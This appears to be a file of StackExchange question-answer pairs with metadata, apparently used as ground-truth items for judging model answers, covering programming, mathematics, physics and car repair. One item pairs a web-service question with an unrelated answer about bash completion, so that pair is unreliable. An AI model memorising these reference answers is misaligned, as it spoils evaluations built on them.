I'm not familiar with bitwise operators, but I have seem them used to store simple settings before. I need to pass several on/off options to a function, and I'd like to use a... | You sure can do it in PHP. Let's say you have four booleans you want to store in a single value. That means we need four bits of storage space 0000 Each bit, when set individually, has a unique representation in decimal 0001 = 1 // or 2^00010 = 2 // or 2^10100 = 4 // or 2^21000 = 8 // or 2^3 A common way to implement ... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/2773914', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/332240/']} | jdg_351328 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 199700 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
Given a category $\mathcal{C}$, we can define the category of endofunctors $\operatorname{Cat}(\mathcal{C})$, with objects functors $F: \mathcal{C} \to \mathcal{C}$ and morphi... | The category $Func(C,C)$ is very rarely braided. It's a bit like asking "when is the endomorphism algebra of a vector space commutative?" For example, if $C=Vect\oplus Vect$, then $Func(C,C)$ is the category of Vect-valued $2\times 2$ matrices. Its multiplication does not satisfy $x\otimes y \simeq y\otimes x$, and so ... | {} | {'log_upvote_score': 5, 'links': ['https://mathoverflow.net/questions/199700', 'https://mathoverflow.net', 'https://mathoverflow.net/users/13767/']} | jdg_168733 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 21951734 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm making and listening for normal DOM CustomEvent s to communicate to parent nodes: In child: var moveEvent = new CustomEvent('the-graph-group-move', { detail: { n... | As noted above: The React way would be to pass callbacks down to children explicitly via props — . There's no support for custom events w/ bubbling in React. The reactive programming abstraction is orthogonal: Programming interactive systems by means of the observer pattern is hard and error-prone yet is still the impl... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/21951734', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/592125/']} | jdg_237013 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 8869372 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
<iframe class="youtube-player" type="text/html" src="http://www.youtube.com/embed/JW5meKfy3fY?wmode=opaque&autohide=1&autoplay=1&volume=0&vol=0&mute=1" frameborder="0"><br... | Youtube don't provide muting through url parameter (see http://code.google.com/apis/youtube/player_parameters.html ). You have to use javascript for that. see http://code.google.com/apis/youtube/js_api_reference.html for details. However, please note the warning on the page linked above:"The deprecation of the YouTube ... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/8869372', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/179736/']} | jdg_105969 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 112651 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
What is known about the set of well orderings of $\aleph_0$ in set theory without choice? I do not mean the set of countable well-order types, but the set of all subsets of $... | Colin, there are continuum many, as you suspect. In fact, there are continuum many well-orderings of type $\omega$. The set of infinite binary sequences has size continuum. Given such a sequence $x=(x_0,x_1,\dots)$, let $i\in\{0,1\}$ be least such that $x_n=i$ infinitely often. Consider the enumeration of the naturals ... | {} | {'log_upvote_score': 4, 'links': ['https://mathoverflow.net/questions/112651', 'https://mathoverflow.net', 'https://mathoverflow.net/users/38783/']} | jdg_252745 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 548753 |
Below is a question asked on the forum unix.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
By using ls -lh we can get the file size. Is there any way I can check if the file size is greater than 1MB to then print a message like below? I may have files with dif... | Using find on a specific file at $filepath : if [ -n "$(find "$filepath" -prune -size +1000000c)" ]; then printf '%s is strictly larger than 1 MB\n' "$filepath"fi This uses find to query the specific file at $filepath for its size. If the size is greater than 1000000 bytes, find will print the pathname of the file,... | {} | {'log_upvote_score': 4, 'links': ['https://unix.stackexchange.com/questions/548753', 'https://unix.stackexchange.com', 'https://unix.stackexchange.com/users/379007/']} | jdg_257363 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 5549617 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have got a WPF datagrid and I want diffrent cell colours according to values. I have got below code on my xaml Style TargetType="DataGridCell" but instead of selecting a ce... | If you try to set the DataGrid.CellStyle the DataContext will be the row, so if you want to change the colour based on one cell it might be easiest to do so in specific columns, especially since columns can have varying contents, like TextBlocks, ComboBoxes and CheckBoxes. Here is an example of setting all the cells li... | {} | {'log_upvote_score': 8, 'links': ['https://Stackoverflow.com/questions/5549617', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/565530/']} | jdg_259474 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 439918 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
We know about volume: The $L_{\infty}$ ball of radius one-half, i.e. the hypercube, has volume $1$ in all dimensions. On the other hand, I believe that for every $1 \leq p < \... | The surface area of the unit $L^p$ ball (of radius $1$ ) goes to $0$ as $n$ goes to infinity, if $p<\infty$ . Below I show it for $p>2$ , but this is enough because if we have convex sets $A\subseteq B$ , then the surface area of $B$ is bigger than that of $A$ , which follows from the proof in this MSE answer to Surfac... | {} | {'log_upvote_score': 4, 'links': ['https://mathoverflow.net/questions/439918', 'https://mathoverflow.net', 'https://mathoverflow.net/users/29697/']} | jdg_356893 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 13230480 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
If you read code like auto&& var = foo(); where foo is any function returning by value of type T . Then var is an lvalue of type rvalue reference to T . But what does this im... | By using auto&& var = <initializer> you are saying: I will accept any initializer regardless of whether it is an lvalue or rvalue expression and I will preserve its constness . This is typically used for forwarding (usually with T&& ). The reason this works is because a "universal reference", auto&& or T&& , will bind ... | {} | {'log_upvote_score': 9, 'links': ['https://Stackoverflow.com/questions/13230480', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1770418/']} | jdg_198835 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 45204258 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have a requirement to set the X-Frame options on the server level to either: X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW-FROM https://example.com/ Understand that X-... | In addition to only supporting one instance of the header, X-Frame-Options does not support any more than just one site, SAMEORIGIN or not. You'll have to use Content-Security-Policy and frame-ancestors , which does support multiple origins, like so: Content-Security-Policy: frame-ancestors 'self' https://example.com A... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/45204258', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/3188291/']} | jdg_326811 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 336459 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
Is the following statement true? ( $\star$ ) Given integers $n > k > 0$ , there exists a monic polynomial of degree $n$ with integer coefficients and constant term $\pm 1$ , i... | You can even construct such a polynomial for any totally real field $K$ of degree $n$ . By Dirichlet's theorem, the unit group $U$ of $K$ maps to $$U \rightarrow (K^* \otimes \mathbf{R}) \stackrel{\log| \cdot |}{\longrightarrow}\mathbf{R}^{n},$$ and the image is a lattice $L$ (of rank $n-1$ ) in the co-dimension one su... | {} | {'log_upvote_score': 5, 'links': ['https://mathoverflow.net/questions/336459', 'https://mathoverflow.net', 'https://mathoverflow.net/users/1516/']} | jdg_292131 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 246114 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
A Latin Square is a square of size n × n containing numbers 1 to n inclusive. Each number occurs once in each row and column. An example of a 3 × 3 Latin Square i... | Adding lines one-by-one and continuing only if the newly added line does not give any column duplications. This highly unoptimized code takes about a minute for $n=5$ (thanks @chyanog for speedup!): addline[lines_] := Select[Append[lines, #] & /@ Permutations[Range[Length[Transpose[lines]]]], AllTrue[Duplicat... | {} | {'log_upvote_score': 4, 'links': ['https://mathematica.stackexchange.com/questions/246114', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/7339/']} | jdg_351360 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 4439536 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
Hi Need a shell script to parse through the csv file - Line by line and then field by field ] the file will look like this X1,X2,X3,X4Y1,Y2,Y3,Y4 I need to extract each of th... | Here's how I would do it. First i set the IFS environment variable to tell read that "," is the field separator. export IFS="," Given the file "input" containing the data you provided, I can use the following code: cat test | while read a b c d; do echo "$a:$b:$c:$d"; done To quickly recap what is going on above. cat t... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/4439536', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/534908/']} | jdg_129009 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 52413107 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
After migrating to Swift 4.2 , I am getting multiple errors, one of which is weird. It seems like a bug in Xcode 10 , but is there a workaround available? do { try AVAudio... | iOS 10+ If you are targeting iOS 10+ , just transition to the new API and use: try AVAudioSession.sharedInstance().setCategory(.playAndRecord, mode: .default, options: []) Older iOS versions When you try this for an app targeting an older iOS version (for example iOS 9) you will get an setCategory(_:mode:options:)' is ... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/52413107', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/917521/']} | jdg_370231 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 548 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
(This was asked due to the comments and downvotes on this Stackoverflow answer. I am not that good at maths, so was wondering if I had made any basic mistakes) Ignoring ... | For "all" x, $$\frac0x = 0 \overset{?}{\implies} \frac00 = 0$$ For "all" x, $$\frac x x = 1 \overset{?}{\implies} \frac00 = 1$$ Moreover, if one could say $\frac00 = k, \forall k$, we could then say $2 = 3$ — just divide both sides by 0 and get $k = k$, which is patently true. Since there is no reasonable value $\frac0... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/548', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/108/']} | jdg_199684 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 100941 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
The problem is to prove that, in a commutative ring with identity, the set of ideals in which every element is a zero divisor has a maximal element with respect the orde... | Your definition of an ideal seems nonstandard: for most folks, an ideal must also be a subgroup of the additive group of the ring. So, for counterexample to your conjecture, in the ring $\mathbf Z/6\mathbf Z$ there are zero-divisors $2$ and $3$, the sum of which is a unit. To the second question: yes! As Alex notes in ... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/100941', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/17871/']} | jdg_135792 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16793085 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I want to write a regex to match characters a-z except for e, n p. I can write: [a-df-moq-z] I'm just wondering if there's a way to write something like ([a-z except ^enp]) j... | You can use negative lookahead like this: (?![enp])[a-z] Live Demo: http://www.rubular.com/r/1LnJswio3F | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/16793085', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1761594/']} | jdg_132295 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 27923232 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have imported a .png image into UIImageView in Xcode and what I want to make is when the image is touched, it will be hidden. But my problem is that the png image contains ... | I have created a custom UIButton subclass that behaves exactly as you describe, have a look: https://github.com/spagosx/iOS-Shaped-Button-Swift It's written in Swift, but it's easily convertible to Objective-c. The approach is to get the pixel data from the touch point and to access the RGBA values, in this case we rea... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/27923232', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/4449409/']} | jdg_317377 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 153076 |
Below is a question asked on the forum security.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Our mobile app will be uploading images to AWS S3. The question is whether to do one of the following options: Upload the image to our APIs server, then our APIs ser... | The preferred way to go is to generate a presigned POST request (your backend server asks for it with your own admin credentials). Then from client-side you upload using this pre-signed POST. It's effectively a way to have temporary credentials, but much more easy & secure to deploy as it can be restricted to the exact... | {} | {'log_upvote_score': 4, 'links': ['https://security.stackexchange.com/questions/153076', 'https://security.stackexchange.com', 'https://security.stackexchange.com/users/7601/']} | jdg_354484 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 604974 |
Below is a question asked on the forum physics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
In relation to ideal gases, Boyle's Law states that pressure is inversely proportional to volume under constant temperature. In other words, $$P \propto 1/V$$ Below i... | Formally we have $$\lim_{V\rightarrow \infty} \frac{1}{V}=0$$ I.e. the statement is true in the limit of infinite volume. For an ideal gas, this can be interpreted as saying that as the confining volume for the gas becomes infinite, the gas no longer exerts a normal pressure on the walls of the volume. | {} | {'log_upvote_score': 4, 'links': ['https://physics.stackexchange.com/questions/604974', 'https://physics.stackexchange.com', 'https://physics.stackexchange.com/users/64502/']} | jdg_82006 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 30772285 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I want to fetch current day documents from a MongoDB collection. My documents look like this: { "_id" : ObjectId("55743941789a9abe7f4af3fd"), "msisdn" : "9xxxxxxxxxx"... | As per your question you want to fetch current day documents from a mongodb collection . In mongoDB shell when you type new Date() it gives you current date with time and this value always vary when you run same new Date() so probably your query like this : db.collectionName.find({"start_date":new Date()}).pretty() But... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/30772285', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/4994632/']} | jdg_304649 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 50213784 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am new to Jest testing and I was going through some examples of how test cases are written in Jest for React components. I came across Snapshot testing and was trying to un... | Snapshots allows you to test if your component renders correctly so in your case expect(Wrapper).toMatchSnapshot() If you want to test the number of occurence of a given component, import your second component and create your test: it("displays the result", () => { const test = Wrapper.find(Second_Component).length; ... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/50213784', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/8760028/']} | jdg_122168 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 452792 |
Below is a question asked on the forum physics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Physicsworld references "Dodecahedral space topology as an explanation for weak wide-angle temperature correlations in the cosmic microwave background" by J.-P. Lumin... | The universe is not believed to have a boundary. But the global topology of space does not have to be a 3-sphere $S^3$ (for constant positive curvature), infinite flat space $R^3$ (for zero curvature) or a 3D hyperbolic pseudosphere $H^3$ (for negative curvature). General relativity only describes the local structure a... | {} | {'log_upvote_score': 4, 'links': ['https://physics.stackexchange.com/questions/452792', 'https://physics.stackexchange.com', 'https://physics.stackexchange.com/users/207927/']} | jdg_328444 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 5333236 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm trying to print/save a certain element's HTML from a web-page. I've retrieved the requested element's XPath from firebug. All I wish is to save this element to a file.I d... | Your XPath is obviously a bit too long, why don't you try shorter ones and see if they match. One problem might be "tbody" which gets automatically created in the DOM by browsers but the HTML markup usually does not contain it. Here's an example of how to use XPath results: >>> from lxml import etree>>> from StringIO i... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/5333236', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/451461/']} | jdg_235552 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16946207 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I've been working for the first time with the Entity Framework in .NET, and have been writing LINQ queries in order to get information from my model. I would like to program... | In general LINQ uses deferred execution. If you use methods like First() and FirstOrDefault() the query is executed immediately. When you do something like; foreach(string s in MyObjects.Select(x => x.AStringProp)) The results are retrieved in a streaming manner, meaning one by one. Each time the iterator calls MoveNex... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/16946207', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/738485/']} | jdg_130203 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 199863 |
Below is a question asked on the forum softwareengineering.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I have a client who would prefer to host their application on Linux. However, my coworkers and I have very little experience with Linux. This is a short p... | Don't know about python, but I've moved Java applications from Windows to Linux and vice-versa. Java makes the "write once, run anywhere" claim which may not be 100% true, but with very little work I was able to make it true enough (basically everything works great on Linux, a few issues on Windows). I'll use W and L ... | {} | {'log_upvote_score': 5, 'links': ['https://softwareengineering.stackexchange.com/questions/199863', 'https://softwareengineering.stackexchange.com', 'https://softwareengineering.stackexchange.com/users/92517/']} | jdg_330822 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 4726700 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I need to implement a project that will consume XML Web Service from other company. A user will retrieve data from this application. They provide a interface layout for the w... | After trying a custom completion script that I know works (I use it every day) and running into the same issue (when rigging it up similar to yours), I decided to snoop through the bash 4.1 source, and found this interesting block in bash-4.1/builtins/read.def:edit_line() : old_attempted_completion_function = rl_attemp... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/4726700', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/438981/']} | jdg_329214 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 1400938 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Some may feel this is not appropriate for the mathematics stack exchange, but it is a question in logic, and I feel it is entirely a good fit. The following argument has... | I think this is barely relevant to this site, but ultimately that it is relevant, and the reason is that it is a good motivataion for modal logic . Specifically, I would argue that $(1)$ is not true , at least the way that we might want it to be - for instance, "the eveningstar" and "the morningstar" are both Venus, bu... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/1400938', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/128387/']} | jdg_359710 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 56299 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
My question departs from this one: Find intersection of pairs of straight lines but now I want to find the points with the new V10 Region -functions. lines = {{Li... | If you know all pairs of line segments intersect, then the following is about four times faster than using DiscretizeRegion : points = (Point[{x, y}] /. Solve[{x, y} ∈ #, {x, y}] & /@ RegionIntersection @@@ lines); // AbsoluteTiming // FirstGraphics[{lines, {Red, PointSize@0.02, points}}, Frame -> True](* 0.040551*) ... | {} | {'log_upvote_score': 5, 'links': ['https://mathematica.stackexchange.com/questions/56299', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/14254/']} | jdg_71622 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 37713970 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I know there have been a few questions similar to this but they either don't work for my use case or the accepted answers have a flaw that doesn't work for me. So... I have a... | There is no way around this right now. As of iOS 9.3 there's still no good way to prevent the scroll on the body. The best method that I currently implement on all sites that require it is to lock the html and the body's height and overflow. html, body { height: 100%; overflow: hidden;} This is the best way to preven... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/37713970', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1024157/']} | jdg_114020 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 5695145 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I've been looking around the official php documentation but I'm unable to find what I'm looking for. http://php.net/manual/en/function.parse-ini-file.php I just want a functi... | You can simply use parse_ini_file with PHP4/5. $ini_array = parse_ini_file("sample.ini");print_r($ini_array); Here is the doc: http://php.net/manual/en/function.parse-ini-file.php To write back an array of objects back to the ini file, use below as a very fast & easy solution: function write_php_ini($array, $file){ ... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/5695145', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/700418/']} | jdg_247114 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 298562 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I know I have already answered a similar question ( Running Batch File in background when windows boots up ), but this time I need to launch a batch: from another batch, with... | Here is a possible solution: From your first script, call your second script with the following line: wscript.exe invis.vbs run.bat %* Actually, you are calling a vbs script with: the [path]\name of your script all the other arguments needed by your script ( %* ) Then, invis.vbs will call your script with the Windows S... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/298562', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/6309/']} | jdg_228991 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 90264 |
Below is a question asked on the forum mechanics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I have a 2000 FIAT Siena 1.4el with the FIAT Lampredi Monoalbero engine, and the car is 22 years old now still with its original engine mounts. The whole car, and a... | In some cases (not all), when the engine torques over it takes up the slack which is there when the engine is idling. Since the slack is taken up, the engine becomes smoother. If it truly is the motor mounts, you'd most likely feel a "thump" as the engine torques from idle into power where it's taking up that slack, an... | {} | {'log_upvote_score': 4, 'links': ['https://mechanics.stackexchange.com/questions/90264', 'https://mechanics.stackexchange.com', 'https://mechanics.stackexchange.com/users/62136/']} | jdg_113404 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 69192 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
Suppose we have two stacks and no other temporary variable. Is to possible to "construct" a queue data structure using only the two stacks?
Now provide the response and noth... | Keep 2 stacks, let's call them inbox and outbox . Enqueue : Push the new element onto inbox Dequeue : If outbox is empty, refill it by popping each element from inbox and pushing it onto outbox Pop and return the top element from outbox Using this method, each element will be in each stack exactly once - meaning each e... | {} | {'log_upvote_score': 10, 'links': ['https://Stackoverflow.com/questions/69192', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/7086/']} | jdg_185560 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 319788 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am using Zend_Db to insert some data inside a transaction. My function starts a transaction and then calls another method that also attempts to start a transaction and of c... | The framework has no way of knowing if you started a transaction. You can even use $db->query('START TRANSACTION') which the framework would not know about because it doesn't parse SQL statements you execute. The point is that it's an application responsibility to track whether you've started a transaction or not. It... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/319788', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/35520/']} | jdg_381259 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 4340100 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm hoping to understand why there cannot be a next real number. I have read a few other answers, but their proofs feel they are missing something. Appeal to density of ... | There is no ad infinitum. There is no process. It is, if you will, a scaffold to build a refutation for any single candidate anyone could possibly put forward, and that's it. You could claim to have a "next real number after $x$ ", and I can use your $\frac{x+y}2$ to prove that you're wrong. No matter which real number... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/4340100', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/709559/']} | jdg_139826 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 36205 |
Below is a question asked on the forum electronics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm trying to scope out what frequencies different common analog signals are. The DPScope design specs provides a list of common lower (sub 1 MHz) frequencies (co... | I assume "as an analog signal" means on an oscilloscope as opposed to a logic analyser. For a digital signal, it is important to be able to check the signal integrity and see whether it is subject to problems such as ringing, crosstalk, reflections, jitter, attenuation, etc. This can only be done with a scope with a ba... | {} | {'log_upvote_score': 4, 'links': ['https://electronics.stackexchange.com/questions/36205', 'https://electronics.stackexchange.com', 'https://electronics.stackexchange.com/users/10658/']} | jdg_353697 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 637776 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
A dual number is a number of the form $a+b\varepsilon$, where $a,b \in \mathbb{R}$ and $\varepsilon$ is a nonreal number with the property $\varepsilon^2=0$. Dual number... | Dual numbers, unlike complex numbers, illustrate Galileo's invariance principle. The infinitesimal part of a dual number represents the velocity. In particular, whereas the multiplication of two complex numbers can be understood as a combination of scaling and rotation, the multiplication of dual numbers is actually eq... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/637776', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/80762/']} | jdg_351087 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16658371 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have set up celery to work with my django application using their daemonization instructions ( http://docs.celeryproject.org/en/latest/tutorials/daemonizing.html#daemonizin... | The question: I'd like Celery to catch exceptions and write them to a log file instead of apparently swallowing them... The current top answer here is so-so for purposes of a professional solution. Many python developers will consider blanket error catching on a case-by-case basis a red flag. A reasonable aversion to t... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/16658371', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/822097/']} | jdg_305259 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 1065786 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
In math.stackexchange answer #239445 , Makoto Kato quoted a statement from the paper Morris Orzech, Onto Endomorphisms are Isomorphisms , Amer. Math. Monthly 78 (1971), ... | Let $A$ be a commutative ring. Let $M$ be a finitely generated $A$-module and $N$ be an $A$-submodule of $M$. Let $f\colon N \rightarrow M$ be a surjective homomorphism of $A$-modules. Then $f$ is injective. Proof. Let $0 \neq x'_0 \in N$. It suffices to prove $f(x'_0) \neq 0$. Set $f(x'_0) = x_0$. Let $x_1, \dots, x_n... | {} | {'log_upvote_score': 5, 'links': ['https://math.stackexchange.com/questions/1065786', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/586/']} | jdg_271305 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 294087 |
Below is a question asked on the forum electronics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
There are many handheld product like laptop or an Handheld measurement equipment that all parts would works fine with 3.3V or lower VCC. However these devices sti... | The decision to use a particular voltage input is not necessarily made on the major supply voltage used in an appliance. Consider your question around the ASUS laptop: Its input is 19 V; a fairly standard laptop supply voltage, but not likely used for anything internally compute or peripheral related. @19 V and 45 W yo... | {} | {'log_upvote_score': 4, 'links': ['https://electronics.stackexchange.com/questions/294087', 'https://electronics.stackexchange.com', 'https://electronics.stackexchange.com/users/78314/']} | jdg_278189 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 6926923 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have 2 dates, say 28-Mar-2011 and 29-Jun-2011. I need an sql query that will display the months between these 2 dates including the months containing the dates, ie. June, M... | Something like this SQL> edWrote file afiedt.buf select to_char( add_months( start_date, level-1 ), 'fmMonth' ) from (select date '2011-03-30' start_date, date '2011-06-29' end_date from dual) connect by level <= months_between( trunc(end_date,'MM'), ... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/6926923', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/344027/']} | jdg_174814 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3824125 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
